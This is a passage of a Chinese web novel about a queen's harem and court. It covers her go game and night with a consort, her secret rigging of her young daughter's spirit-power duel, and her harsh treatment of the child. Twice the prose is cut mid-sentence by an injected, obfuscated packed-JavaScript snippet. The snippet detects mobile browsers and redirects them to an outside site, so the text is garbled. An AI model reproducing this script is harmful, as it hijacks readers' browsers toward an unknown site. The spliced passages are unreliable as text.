“与天地对弈,与己心对弈,棋盘之内,风云万变,其乐无穷,何来冷清之说?”他的声音,也如其人一般,清朗悦耳,如同山间冷泉,叮咚作响。 魏勉的心,泛起一丝奇异的涟漪。她稳住心神,兴趣更浓:“哦?那在你看来,这局棋,是你这凡人之心胜了,还是那无情的天地胜了?” 时安微微一笑,那笑容让月色都仿佛温柔了几分:“臣不敢与天地争胜负。臣只是在看,这棋盘之上,何处是生门,何处是死地。看清了,才能落子无悔。” 这番话,意有所指,既是在说棋,又像是在说这后宫,这朝堂,这人生。 魏勉彻底被勾起了兴致。 她伸出手,指尖在棋盘中央那天元的位置上,轻轻一点,瞬间打乱了那盘激战正酣的棋局。 “与自己下,有什么意思?” 她的声音带着一丝慵懒的命令,眼中闪烁着志在必得的光芒。 “陪孤下一盘。” 时安抬起眼,迎上魏勉那势在必得的目光,他缓缓地、深深地一揖,声音依旧平静无波,却似乎带着一丝不易察觉的胜利微光: “是,王上。臣,遵旨。” 他伸出修长白皙的手指,从白玉棋罐中捻起一枚白子,动作优雅,落子无声,却在棋盘一角,布下了一个看似平淡无奇、实则暗藏玄机的开局。 魏勉双目微凝,随即也捻起一枚黑子,指尖那枚象征着首夫昭彦情意的玉戒在烛火下微微一闪,毫不犹豫地应下。 亭外的月光,透过雕花的廊柱,在棋盘上投下斑驳的光影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817785|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亭内的风灯,则将两人专注的侧脸,映照得如同温玉。 这是一场极其精彩的对弈。 魏勉的棋风,大开大合,气势磅礴。她擅长从宏观布局,营造巨大的势力范围,极具压迫感,棋路中充满了属于王者的霸道与不容置疑。她落子极快,如同她当年在战场上的风格,攻势凌厉,招招直指要害,试图以最快的速度建立优势,将白子围剿、吞噬。 而时安的棋路,则全然不同。他灵动、飘忽、机变百出。时而如春雨润物,于细微处悄然渗透,构筑实地;时而又如毒蛇出洞,在最意想不到的角落,发起致命的突袭。他的每一步,都仿佛经过了精密的计算,总能在最危险的时刻,以一步看似平淡无奇、实则精妙绝伦的闲手化解魏勉的攻势,或是在自己的阵地中,悄然做活一块,绝不被黑色大龙轻易屠戮。 “你的棋风,倒是与你的人一样。”魏勉在又一次猛烈的进攻被时安巧妙化解后,双目微抬,第一次在棋局中开口,语气带着一丝玩味,“看似不争,实则守得滴水不漏。” “时侍君,”魏勉落下一子,截断了白棋的一处连接,语气中带着几分漫不经心的试探,“你这棋,不像是宫中教习教的。倒有几分野路子的狠辣。” 时安的目光依旧专注在棋盘上,仿佛在思索下一步,声音却平静地传来:“回王上。臣的棋,确实是野路子。年少时在街头棋摊上,与那些为了一文钱彩头能争得面红耳赤的老者、南来北往的行脚商人、还有偶尔路过的灵主学子们,都下过。” 他落下一子,看似随意地补了一手,却巧妙地化解了魏勉的攻势:“她们下的棋,不为雅趣,只为输赢。所以,招式或许不正,但往往最有效。” “哦?”魏勉唇角微勾,继续进攻,“那你觉得,孤这后宫之中,这几十位侍君,谁更像是能赢到最后的棋手?”她看似随意地,将后宫的争斗,比作了一盘棋,想听听他的“高见”。 这是一个陷阱。无论他褒扬谁,贬低谁,都可能得罪人,也可能暴露他的野心。 时安却仿佛未觉,只是苦恼般地皱了皱眉,似乎真的在认真思考这个问题。片刻后,他落下一子,同时用一种带着几分困惑、仿佛在向更高明的棋手请教的语气,缓缓说道: “王上,臣愚钝,看不懂您的棋局。” “哦?” “臣只看到,您这盘棋,落子四方,经纬天下。北境裴氏,如镇守天元的重石,稳固大局;东海段氏,如占据金角的活眼,生机勃勃;更有其他各家,或为实地,或为外势……每一子,都有其位,都有其用。”他条理清晰地分析着,仿佛只是在客观地解说棋盘。 “可臣……看不懂。”他抬起眼,那双清澈的桃花眼中,充满了真诚的、恰到好处的“迷茫”,“臣不知……”他轻轻摇了摇头,声音里带着一丝自嘲,“臣这枚无根的‘白子’,在这盘棋局中,究竟该如何自处?” “臣若落子太轻,怕是转瞬便会被那些错综复杂的黑子吞没,于王上的大局无益,白白浪费了您当初纳臣入宫的恩典;”他的声音低沉下来,带着一种令人心折的脆弱感,“可若落子太重,又怕……在看不清全局的情况下,贸然卷入是非之中,不知不觉地搅乱了王上您通盘的谋划,反倒成了您的负累。” 他站起身来,对着魏勉,深深一揖到底,声音里充满了恳切与一种将自己未来命运全然交付的决绝: “这盘棋,臣……愚钝,实在不知该如何落下第一步。还请王上看在臣尚有几分用处的份上,为臣指一条明路。” 这一番话,狠狠地、却又无比舒坦地击中了魏勉的心。 她看着眼前这个俯首称臣、将自己比作“无根白子”、并请求由她来落子的少年,心中的征服欲与掌控欲,在这一刻得到了在后宫中前所未有的、巨大的满足! 他不是在耍手段,也不是在提条件。他是在用最聪明的方式,向她展现自己的全部价值和全部脆弱,然后,将选择权和支配权,毫无保留地交到了她的手上。 魏勉心中激赏不已,脸上却露出了一个慵懒而霸道的笑容。 她缓缓站起身,走到他的面前,伸出手指,轻轻挑起他低垂的下颌,迫使他与自己对视。 “这盘棋,”她的声音带着一丝沙哑的、属于夜晚的魅惑。 “不下了。” 时安的眼中闪过一丝疑惑。 “你问孤,你这枚棋子,该如何落下?”魏勉的指尖,在他光洁的下巴上轻轻摩挲着,感受着他因紧张而微微绷紧的肌肉,“那孤……现在就告诉你。” 她的声音压得更低,如同情人间的耳语,却又带着不容抗拒的命令: “你的第一步,便是随孤,回你的寝殿。” 11. 帷帐生疑,兰言巧辩释贞心 按照宫规,他应是未经人事的。她也做好了需要主导一切的准备。 然而,魏勉却感到了一种意料之外的和谐。 时安的回应,并无她预想中的慌乱或生涩。他似乎天生便懂得如何追随她的节奏,如何用最轻柔的方式表达最炽热的意图。 他的靠近带着试探,却又精准地契合着她每一丝细微的反应。没有笨拙的冒犯,只有一种如同水墨渲染般恰到好处的层层递进。 他的呼吸拂过她的耳畔,带着温热的撩拨,却又在她将要退缩的瞬间,巧妙地转为更深的厮磨,仿佛能洞悉她心底最细微的防线与渴望。 他的存在感不强硬,却如同一张精心编织的网,温柔而坚定地将她笼罩。 魏勉的身心,在这种近乎于“被读懂”的奇异互动中,不由自主地松弛下来,一种陌生的、被细致呵护的愉悦感,如同温水般缓缓漫过全身。 这感觉......太不寻常。 一个处子,怎会如此? 这份远超预期的体贴与熟稔,在她心神略微分出的一刹那,猛地敲响了警钟! 方才还氤氲在她眼底的朦胧水汽瞬间凝结成冰。原本放松的身体不易察觉地绷紧,她周身那属于宵朝王上的、不容侵犯的威严气场,如同无形的寒潮般骤然弥散开来。 寝殿内的温度仿佛陡然下降,烛火似乎也感受到了这股压力,焰心不安地跳动了一下。魏勉依旧维持着之前的姿势,但她的眼神已经变了——变得如同最锋利的寒刃,带着审视与绝对的压迫感,牢牢锁定了身前的时安。 时安几乎是在她气场变化的瞬间,就敏锐地察觉到了危险。那股突如其来的、令人窒息的威压,让他身体一僵,所有动作戛然而止。他抬起头,撞入魏勉那双冰冷得仿佛能冻结灵魂的眼神,心中警铃大作,一股寒意沿着脊椎急速攀升。 他的脸色瞬间变得苍白,额角甚至冒出了细密的冷汗,之前的从容与自信消失无踪,只剩下一种惶恐。 魏勉没有开口,甚至连呼吸都没有丝毫变化,只是用那种沉默的、带着恐怖威慑力的眼神凌迟着他,等待着。 在这种无声的、极致的压力下,时安的呼吸都变得困难起来。他强迫自己冷静下来,知道此刻任何的隐瞒或谎言都只会是自寻死路。他定了定神,声音带着无法抑制的轻颤,却努力保持着条理: “王上......容、容臣解释......”他略微偏开头,不敢直视那逼人的目光,“臣确是初承雨露,绝无虚言。只是......” 他深吸一口气,似乎在组织语言:“只是......臣自幼不擅弓马,唯喜静坐观想、沉酣典籍。家中和宫中亦有不少描绘......描绘此类情事的画本杂谈流传,臣也曾......也曾好奇翻阅过......” 他的声音越来越低,脸上泛起羞赧的红晕,却又带着一种急于辩白的真诚:“方才臣并无他想,只是一心感受着王上的反应,想着......如何能让王上更愉悦些......便将那些书本上看来、或是自己揣摩的一些想法付诸了实践......若有冒犯或是让王上误会之处,臣......罪该万死!” 他说完,便不敢再言语,只是微微低着头,露出修长脆弱的脖颈,一副任凭处置的模样,身体却因紧张而轻微发抖。 魏勉依旧沉默着,那双锐利的眼睛一瞬不瞬地盯着他,像是在分辨他话语中的真伪。 时间仿佛凝固,时安的心几乎提到了嗓子眼。 终于,魏勉的眼神似乎微微动了一下。那冰冷的审视渐渐消退,取而代之的是一抹极淡的、饶有兴味的笑意。 那股令人窒息的压力,如同潮水般退去了。 “画本杂谈?观想揣摩?”她声音恢复了之前的慵懒,却带着一丝玩味,“时安......你倒是心思剔透,也胆大得很。” 时安心中猛地一松,知道自己这一关算是过去了。他不敢接话,只是睫毛微颤。 魏勉看着他这副既聪明又带着点小可怜的模样,心中的疑虑彻底打消,反而生出了更浓厚的兴趣。 并非经验,而是聪慧与用心吗?竟能将纸上谈兵,化为此刻这般出人意料的体贴? 她低低地笑了一声,那笑声在寂静的殿内格外清晰。她俯下身,重新贴近他,气息温热地喷洒在他耳边,声音带着一丝慵懒的命令,也带着一丝重新燃起的兴味: “既然时侍君如此‘好学’,那便让孤再考校考校,你这揣摩体悟的功夫,究竟到了何种境地......” 时安身体一僵,随即明白了她的意思,脸上瞬间红透,却也暗自松了一口气。 窗外月华如水,殿内春色无边。 次日清晨,魏勉难得地比平日里醒得晚了一些。 身旁的时安早已醒了,他并未像其他侍君那样,在王上醒来前便悄然退下或在一旁惶恐侍立。他只是侧卧在魏勉身边,单手支着头,用那双清亮的桃花眼安静地看着她,眼神中没有了昨夜的试探与机锋,只剩下一种如同晨雾般干净,又如同深潭般专注的柔情。 魏勉竟罕见地生出了一丝不好意思,下意识地想移开目光。 时安唇边勾起一抹极浅的笑容,声音略带一丝沙哑,却温柔得能滴出水来:“王上,早安。” 这声“王上”,明明是恭敬的称呼,可从他口中说出,却比任何亲昵的昵称,都更让人心旌摇曳。 “早。”魏勉很快便恢复了君主的镇定,缓缓坐起身。 时安也立刻起身下床,动作自然而流畅地取过一旁早已备好的、熨烫得没有一丝褶皱的玄色锦袍,开始为魏勉更衣。 他的动作轻柔,指尖却带着一种不容错辨的、属于力者的温热。当他为她系上腰带,整理衣襟时,指腹偶尔会极其短暂地、若有若无地触碰到她的肌肤,却总能在她身体产生反应的前一刻,极其自然地移开,仿佛那只是无意的触碰。 他身上那股独特的、如同雨后青草般的清爽气息,混杂着昨夜缠绵后尚未完全散去的、属于他们二人交融的气味,将魏勉包裹其中,营造出一种极其私密而暧昧的氛围。 魏勉没有说话,只是透过面前巨大的穿衣镜,静静地看着身后那个神情专注、动作温柔的男子。 镜中的两人,一个身着锦袍,英气内敛;一个长身玉立,眉眼含情。看起来竟真的有几分寻常爱侣晨起时,那般“为君理袖,为君束发”的温馨与缠绵。 待到穿戴整齐,时安又取过那顶象征着至高权力的金龙冠,双手捧着,准备为魏勉戴上。 昭告着早朝时辰的宫人,在殿外小心翼翼地提醒道,“王上,该去承天殿了。” 魏勉的眼神恢复了属于君主的清明与决断。她点了点头,准备迈步。 然而,就在她即将走出寝殿的前一刻,无意中瞥到了被随意放置在角落的一副围棋。 她忽然转身,在时安那略带惊讶的目光中,用一种不容置疑却又带着一丝连她自己都未曾察觉的任性的语气,说道: “典微!去告诉雍首辅她们,今日的早朝,推迟一个时辰!” “时安,”她扬起下巴,眼中重新燃起了那种属于棋手兴味盎然的光芒,指了指那副棋盘,“过来。” “昨夜那盘棋,你我还没分出胜负呢。” 时安愣了一下,随即,那双漂亮的桃花眼中,漾开了了然的笑意。 经过一夜的亲密交流,两人的对弈,多了几分心照不宣的默契与拉扯。 当棋局进入了最复杂、最胶着的中盘时,黑白二子在棋盘上犬牙交错,厮杀得异常激烈。魏勉的攻势越来越凌厉,而时安的防守也显得越来越吃力,他的额角甚至渗出了细微的汗珠,眉头也紧紧蹙了起来。 就在棋局进行到最关键的胜负处时,时安捻着一枚白子,久久未能落下。他看着棋盘,脸上露出了真实的、似乎是无计可施的苦恼与迷茫。 他轻轻叹了口气,将手中的白子放回了棋罐,抬头看向魏勉,眼中带着由衷的敬佩与一丝恰到好处的求助:“唉,此局……臣已陷入迷障。此处若进,恐会落入王上您早已布下的天罗地网;若退,则大龙被困,失地失势,亦不过是慢性之死。臣愚钝,实在看不出,这棋盘之上,竟还有第三条生路在何方。” 他将一个最难解的、看似非生即死的困局,以一种请教的姿态,无比真诚地,摆在了魏勉的面前。 魏勉看着他那副眉头紧锁、苦思不解的真诚模样,再看看棋盘上那被他自己逼入绝境的白子,心中忽然升起一种洞悉一切的快感。 她知道,这小狐狸,又在跟她耍心眼了。 这困局看似无解,实则他早已用无数步精妙的“废棋”,为那条 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时安看着棋盘上这石破天惊的一手,脸上的震惊久久未曾散去。片刻之后,他才仿佛如梦初醒般,对着魏勉,深深地、心悦诚服地一揖到底,声音里充满了发自肺腑的赞叹与折服: “王上圣明!世人皆知趋利避害,唯有王上您,有此等魄力,向死而生,于绝境中开辟新途!竟有如此回天妙手!臣,受教了。” 他的眼神中,充满了对强者智慧的全然仰慕,那份仰慕真挚得让魏勉都几乎要相信,他之前是真的没看出来这一步。 看着眼前这个既聪明狡猾、又懂得如何用最令人舒心的方式来展现臣服的年轻男子,魏勉的心情,前所未有的愉悦。 她缓缓站起身,居高临下地看着他,声音里带着一丝餍足的笑意:“你这盘棋,下得不错。孤很尽兴。” 她顿了顿,用一种不容拒绝的语气,下了今天的第一道“旨意”: “今夜,你继续陪孤下。” 说完,她便转身,迎着灿烂的朝阳,迈着轻快的步伐,消失在了宫道远处。 只留下时安一人,看着那盘最终“惜败”的棋局,然后缓缓抬起头,望向魏勉离去的方向。 他那双总是带着几分笑意的桃花眼中,第一次,流露出一种如同猎人终于看到最顶级猎物踏入自己精心布置的陷阱时,那种充满了兴奋、期待,与势在必得的幽光。 与时安一夜教学相长般的体验,仿佛为魏勉打开了一扇新的窗户。她开始意识到,后宫这些精心挑选的男子,并不仅仅是利益平衡的棋子或是繁衍后嗣的工具,他们每个人,都带着独特的色彩与韵味,能从不同层面触动她、取悦她,或是挑战她。 就如同打开了一个精美的、内藏乾坤的匣子,魏勉带着几分好奇,也带着几分属于强者的探索欲,开始真正将目光投向她的侍君。 每一个侍君,都像是一本书,魏勉在阅读他们,也在阅读自己内心不同层面的需求与欲望。她以一个君主的视角,去体验和利用每一位侍君所能带来的价值——无论是情感上的慰藉,身体上的满足,还是利益上的平衡。 雨露均沾的职责,在她食髓知味后,不再是一项冰冷的任务。 随之而来的,是魏勉在昭彦寝殿留宿的时间,在不知不觉中悄然发生了改变。 起初,或许是出于对昭彦的愧疚和补偿,她依然遵守着某种默契,一周之中,大半时间仍是回到那个最熟悉、最让她安心的港湾。昭彦也曾在那段时间里,感受过失而复得般的短暂幸福。 但渐渐地,随着她对后宫探索的深入,随着朝政日益繁忙让她更渴望新鲜的刺激来排解压力,也随着其他侍君及其背后势力或明或暗的争取,天平开始倾斜。 从一周有五日陪伴昭彦,变成了四日,三日...... 最终,不知从何时起,竟固定成了——王上每周只在首夫寝殿停留两夜。 其余的五个夜晚,她会根据内廷司的安排,或是自己临时的兴致,出现在后宫其他侍君的殿宇之中。 这对昭彦而言,无异于一场漫长而残忍的折磨。 最初的失落,逐渐演变成了日复一日的煎熬。他开始变得沉默,即使是在魏勉留宿的那两夜,也常常在极致的缠绵过后,在她沉睡的呼吸声中,睁着眼睛直到天明。 他会一遍遍地描摹她的睡颜,心中却充满了不确定感——她今日在他怀中温存,明日......又会与谁做尽同样亲密之事? 12. 双星初遇,帝星险胜小将星 时光如同指间流沙,匆匆已来到赤霄五年。 五年间,魏勉励精图治,宵朝的疆域日益稳固,政权也逐渐集中。她以惊人的精力平衡着朝堂与后宫。 期间,为了“开枝散叶、广衍皇嗣”的需求,也为了满足自身渐起的探索欲,她陆续和三位侍君又诞下了三位皇子。 在魏勉得知与裴景然、段宴清结合诞下的孩子都是男孩的瞬间,那颗因背负着巨大压力而始终悬着的心,终于落回了实处,暗暗松了口气。 三皇子魏珏和四皇子魏澄这两个男孩的诞生,如同两颗定心丸,让军中最重要的两大势力——北境裴家与东海水师段家,与皇室的利益和血脉都进行了更深层次的捆绑,极大地稳固了魏勉的统治。 而男孩虽同样尊贵,却从法理上,对恒儿的太子之位构不成任何威胁。这既是对忠心耿耿、实力雄厚的裴段两家巨大的交代和恩宠,又完美地避开了可能引发储位之争的最大隐患。这无疑是最好的结果。 最让朝野上下津津乐道的,是魏勉与那位出身微末却赢得她别样恩宠的侍君时安,诞下了宵朝的五皇子——魏麟。有人说,这恰恰是因为时安母族卑微,无法在朝中结成足以威胁太子的势力,王上才“放心”与他生下女儿。 这三位皇嗣的诞生,并未在朝堂上引发过大的波澜,却也让后宫的势力格局变得更加微妙而复杂。三皇子魏珏身后,站着屡建军功的北境裴家;四皇子魏澄背后,是掌控着海上命脉的东海段氏;而五皇子魏麟虽然年幼,其父时安在王上身边那日渐增长的影响力,也让她成为了一股不容小觑的潜在力量。 然而,无论后宫的风景如何变幻,无论新的皇子们获得了多少明面上的恩宠—— 太子魏恒,这位承载了魏勉最多期望、也是她与昭彦爱情最初承诺的结晶,始终是宵朝独一无二的储君。 如今,魏恒已是四岁的年纪。她继承了魏勉顶尖的灵力天赋,小小年纪,体内奔腾的能量已远超同龄人,甚至让许多成年灵主都自愧不如。 为了进一步巩固她的太子之位,也为了向天下昭示宵朝后继有人的盛况,魏勉决定,在今年秋季举行的、京都规模最盛大的灵力角斗上,让魏恒正式亮相,一显身手。 位于京都南郊的演武竞灵场,今日是人山人海,盛况空前。这座足以容纳五万人的巨大环形场地,此刻座无虚席。高高的看台上,既有衣着光鲜、佩戴着家族徽记的王室贵族与灵主世家,也有踮着脚尖、满脸兴奋的普通市民。 她们从四面八方涌来,只为一睹这场融合了荣耀、机遇,也充满了血腥与残酷的年度盛事。 场地的中央,是一个由特殊黑色岩石铺就的、直径近百丈的巨大圆形擂台。擂台表面刻满了复杂而古老的符文,在阳光下泛着淡淡的灵光,四周则环绕着由数十名高阶灵主合力维持的、半透明的灵力防护屏障,以防止比试中过于强大的力量波及观众。 按照惯例,任何年满十三岁的女子,无论出身贵贱,皆可报名参加角斗。她们只需签下一纸生死契约,便可在这擂台上一展身手。 胜者,不仅能获得丰厚的奖赏,更有可能被朝廷看中,得到破格提拔,从此平步青云;败者,轻则灵力受损,重则当场殒命,亦无人追责。荣耀与危险并存,刺激着每一个渴望改变命运、证明自己的年轻灵主。 今日,却又格外不同。因为所有人都知道,年仅四岁的太子殿下魏恒,将首次参加角斗,作为压轴环节的“表演赛”选手。 高台正中,巨大的华盖之下,魏勉身着象征至高权力的、绣着日月山河图案的金色朝服,头戴九凤朝阳冠,神情肃穆,不怒自威。她周身散发出的磅礴灵力如同实质,笼罩全场,让喧嚣的声浪都为之降低了几分。 她的左手侧,稍低半阶的位置,是首夫昭彦。他一身代表首夫身份的深紫色锦袍,衬得他愈发沉稳英挺。他凝视着下方巨大的擂台,眼神深处,却藏着一丝难以掩饰的、对即将登场的女儿的担忧。 王上的右手侧及下方,则分坐着几位备受恩宠的侍君,再往下,便是满朝文武与各大家族的代表。每个人脸上的表情各异,期待、好奇、紧张、或是暗藏着别样的心思。 冗长的比试在残酷而激烈的氛围中进行着。不断有年轻人在擂台上捉对厮杀,灵力激荡,光华四射,引得看台阵阵惊呼与喝彩。也不断有人受伤,甚至殒命当场,被侍卫们面无表情地拖下去。这就是赤宵朝尚武精神的体现,也是底层灵主向上攀爬的血腥阶梯。 终于,当日头渐渐西斜,所有常规比试宣告结束,整个竞灵场的气氛被推向了最巅峰! 在内侍官高亢的唱喏声中:“恭请太子殿下——魏恒!” 一个穿着特制浅紫色、绣着小小金色龙纹软袍的小小身影,似是可以模仿着母亲的样子迈着沉稳的步伐,走入了巨大的擂台中央。 正是年仅四岁的魏恒! 她生得粉雕玉琢,眉眼之间却已有了魏勉那股天生的英气与威严,一双乌溜溜的大眼睛,此刻正好奇又带着点小骄傲地环视着四周山呼海啸般的观众。她腰间甚至还煞有介事地佩戴着一柄小小的、精致的木剑。虽然身量尚小,但她体内那澎湃汹涌、几乎要压抑不住的灵力波动,如同沉睡的幼龙即将苏醒,让所有在场的灵主都不由得暗自心惊! “太子殿下千岁!千岁!千千岁!” 看台上爆发出震耳欲聋的欢呼。这就是他们未来的王上!如此年幼,便有如此威势! 魏勉看着女儿小小的身影,眼中也闪过一丝满意的期待。 恒儿,去吧!让所有人看看,谁才是宵朝独一无二的继承人!用你的力量,震慑那些潜在的不安分! 按照流程,会由几位在先前比试中表现优异,且自愿挑战太子的成年选手上场。然而,结果毫无悬念。 魏恒人虽小,但灵力天赋实在太过恐怖。只见她小手一挥,便是炽热的火球呼啸而出,或是凌厉的风刃切割而去。她的招式或许还很稚嫩,缺乏技巧,但那份源自血脉的、精纯而磅礴的灵力,足以弥补一切。往往对手还在凝结灵力,便已被她简单粗暴的灵力释放轰下台去。 接连击败了十余名比她年长许多、经验也丰富得多的成年灵主后,魏恒叉着小腰,仰着小脸,站在擂台中央,眼中充满了胜利者的骄傲。 场内掌声雷动,欢呼震天。朝臣们也纷纷起身,向魏勉道贺:“太子殿下天赋异禀,亘古未有!实乃我宵朝之幸,天下之福!” 魏勉脸上露出略显谦逊的微笑,心中却觉得理所当然。她的女儿,本就该如此。 然而,就在所有人都以为今日的表演即将圆满结束时,内侍官再次高声唱喏: “请——裴氏之子,裴景珑,上台赐教!” 话音刚落,一个穿着玄色紧身武服,约莫五岁左右的小女孩,从看台一侧,迈着与她哥哥裴景然如出一辙的、沉稳有力的步伐,走上了擂台。 这小女孩生得浓眉大眼,透着一股倔强劲儿。她的身材比同龄女孩要显得更加结实,也更加高挑一些,周身散发出的灵力波动,并非风火,而是带着一种狂暴、毁灭气息的雷霆之力。 看台上的裴景然眼中瞬间充满了骄傲,对着台上的妹妹无声地点了点头。 珑儿,拿出你的本事!让王上看看我们裴家女儿的风采! 场内的气氛瞬间变得微妙起来。一个是万众瞩目的太子殿下,风火双绝;一个是将门虎子,身负罕见的雷霆之力。这才是真正的强强对决! 魏勉脸上的笑容淡了些,眉头微不可查地皱了一下。 裴景懿倒是会教女儿......雷霆之力? 有点意思。不过,想凭这个就挑战恒儿的威信?还不够! 擂台之上,两个加起来还不到十岁的小女孩,遥遥相对。 “太子殿下,请指教!”裴景珑声音清脆,抱拳行礼,动作一丝不苟。 魏恒扬了扬小下巴,奶声奶气却又带着十足傲气地说道:“裴景珑,出手吧!让我看看你有没有资格做我的对手!” “得罪了!” 话音未落,裴景珑率先发难!只见她小小的身体猛地一跺脚,地面符文闪亮,一道粗壮的紫色电蛇便“滋啦”一声,破土而出,直扑魏恒! 魏恒反应也是极快,小手一挥,一道烈焰旋风凭空出现,精准地撞上电蛇,火光电芒爆裂,发出震耳欲聋的巨响! 两个小家伙瞬间战作一团! 魏恒身形灵动,风灵之力加持下如同翩飞的蝴蝶,指尖不断点出炽热的火球与凌厉的风刃,攻势迅猛如潮。 裴景珑则沉稳如山,雷霆灵力大开大合,每一次出手都带着万钧之势,或引动天雷劈落,或凝聚雷光护体,将魏恒的攻击一一化解,并不断以刚猛的雷击反攻! 擂台上,一时间火光冲天,电芒四射!风声呼啸,雷声滚滚!灵力碰撞的巨响不绝于耳,震得防护屏障都嗡嗡作响! 两个小小的身影在巨大的擂台上兔起鹘落,打得难解难分。她们的招式或许还很粗糙,但那份精纯磅礴的灵力,以及那股不服输的狠劲儿,却让所有观战的成年灵主都暗自惊呼! “太......太强了!这真的是四岁和五岁的孩子吗?!” “太子殿下的风火之力固然霸道,可裴家这孩子的雷霆之力也太刚猛了!” 看台上的观众早已看得目瞪口呆,继而爆发出更加狂热的掌声与呐喊!朝臣们也开始窃窃私语: “裴氏之子,竟能与太子殿下战至如此地步?” “这雷霆灵力......当真罕见......” 高台之上,魏勉的脸色,一点点沉了下来,暗自思忖;“恒儿!你在做什么?!区区一个裴景珑,竟能与你缠斗至此?!平日里让你好生修炼,你都当耳旁风了吗?!” 在她看来,魏恒作为太子,作为她灵力的继承者,面对任何同龄人,哪怕年长一两岁,都应该是碾压之势!此刻这般旗鼓相当,甚至隐隐有被压制的迹象,简直就是丢了她这个王上的脸面! 她心中升起一股无名火,看向裴景然的目光也带上了一丝冷意。 裴家......很好! 眼看两人又一次灵力对撞,双双震退,气息都有些不稳,魏勉指尖微不可查地一动。一股极其隐晦的灵力,悄无声息地融入了擂台四周的防护屏障之中,极其轻微地改变了屏障内风火元素的流转效率。 下一刻,魏恒再次凝聚出一道火焰球,那火焰的颜色似乎比之前更深邃了些许,威力也陡然增加了一成! 裴景珑正欲故技重施,以雷光盾硬抗,却没料到这火焰威力骤增,“轰”的一声,雷光盾竟被直接击溃!她被强大的冲击力震得蹬蹬蹬连退数步,嘴角溢出一丝鲜血,气息瞬间紊乱! “太子殿下胜——!”裁判立刻高声宣布! 全场爆发出震耳欲聋的欢呼! 魏恒站在原地,微微喘着气,看着被自己击败的裴景珑,眼中闪过一丝疑惑——似乎没觉得自己刚才那招有那么强,但很快便被胜利的骄傲所取代,她得意地扬起了小脸。 裴景珑倔强地擦去嘴角的血迹,不甘心地瞪了魏恒一眼,但还是依足礼数,对着高台方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817787|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了一礼,才被匆匆赶来的裴家人扶下台去。裴景然立刻起身迎了上去,眼中充满了对妹妹的心疼,也有一闪而逝的、对结果的了然与不甘。 高台之上,魏勉脸上终于露出了“满意”的微笑,接受着百官的朝贺。但那笑容,却未达眼底,反而带着一丝冰冷的寒意。 平局已是丢人,靠我暗中相助才险胜,更是耻辱! 恒儿......你太让我失望了! 昭彦将这一切看在眼里,尤其是魏勉那细微的动作和魏恒最后那威力陡增的一击,他如何能不明白?他心中一痛,看向女儿的目光充满了心疼。 恒儿才四岁啊......她已经做得够好了!王上,您为了所谓的颜面,竟如此逼迫她,甚至不惜...... 他握紧了拳头,一股对魏勉的不满与失望,悄然滋生。 比试结束的当晚,魏勉便将魏恒召到了寝宫。 往日里总是对女儿充满慈爱的王上,此刻却脸色冷峻,目光锐利如刀。 “恒儿,”她声音冰冷,不带一丝温度,“你可知今日之错?” 魏恒刚刚经历了一场大战,又被母亲这从未有过的冷遇吓到,小脸煞白,低着头站在殿中,小手不安地绞着衣角,眼中噙着泪水,却倔强地不肯落下,声音带着委屈:“母、母皇......儿臣......儿臣尽力了......儿臣赢了......” “赢了?”魏勉冷笑一声,“若非最后关头孤暗中助你,你早已败在裴景珑手下!你身为宵朝太子,身负至高灵力血脉,竟被一个仅比你年长一岁的裴氏之子逼到如此境地!险胜?这简直是耻辱!丢尽了孤与宵朝的颜面!” 她的语气越来越严厉,每一个字都像冰锥一样扎在魏恒心上:“平日让你勤加修炼,你都当做儿戏了吗?!如此懈怠,将来如何继承大统?!怎配做孤的女儿?!” 魏恒再也忍不住,哇的一声哭了出来,抽噎着:“母皇......儿臣没有......儿臣真的尽力了......那个裴景珑......她的雷好厉害......” “住口!”魏勉厉声打断,“输了便是输了!再厉害的对手,你也必须给孤碾压过去!这才是孤的女儿,宵朝的太子该有的样子!” 她挥了挥手,语气中充满了失望与不耐烦,“下去!从明日起,你的训练加倍!若再有下次......孤便亲自废了你的太子之位!” 魏恒被吓得小脸惨白,抽噎着行了个礼,一步三回头地退出了寝宫。那小小的、孤单的背影,在空旷的宫殿里,显得如此可怜。 自那日起,魏勉对魏恒的态度便急转直下。她不再召见女儿闲谈玩耍,即使偶尔见面,也只是考校功课,言语间尽是严厉与不满。训练场上,更是化身最严苛的导师,对魏恒的任何一点瑕疵都毫不留情地训斥。甚至,她连晚上睡前抱一抱女儿,亲一亲她额头这样简单的温情,也吝于给予了。 魏恒虽然依旧在拼命训练,灵力也在飞速增长,但那双曾经充满骄傲与灵气的眼眸,却渐渐蒙上了一层失落与惶恐。 母皇为什么不理我了?是不是恒儿做得不够好? 恒儿......真的不是母皇的好女儿吗? 这一切,昭彦都看在眼里,疼在心里。 数日后,练武场。 昭彦看着女儿小小的身影,一次又一次地被严苛的教习灵主击倒,又一次次倔强地爬起来,满是汗水的小脸上,写满了不属于她这个年纪的严肃与委屈,他的心如同被刀割一般。 终于,在一个训练间隙,他走上前去,蹲下身,用袖子轻轻拭去魏恒脸上的汗水与灰尘,声音温柔得能滴出水来:“恒儿,累不累?今日表现得极好,比昨日又有进步了。爹爹为你骄傲。” 魏恒紧绷的小脸瞬间垮了下来,憋了许久的泪水夺眶而出,猛地扑进昭彦温暖而坚实的怀抱,放声大哭:“爹爹......呜呜......母皇......母皇还是不理我......我是不是......是不是真的很没用......” 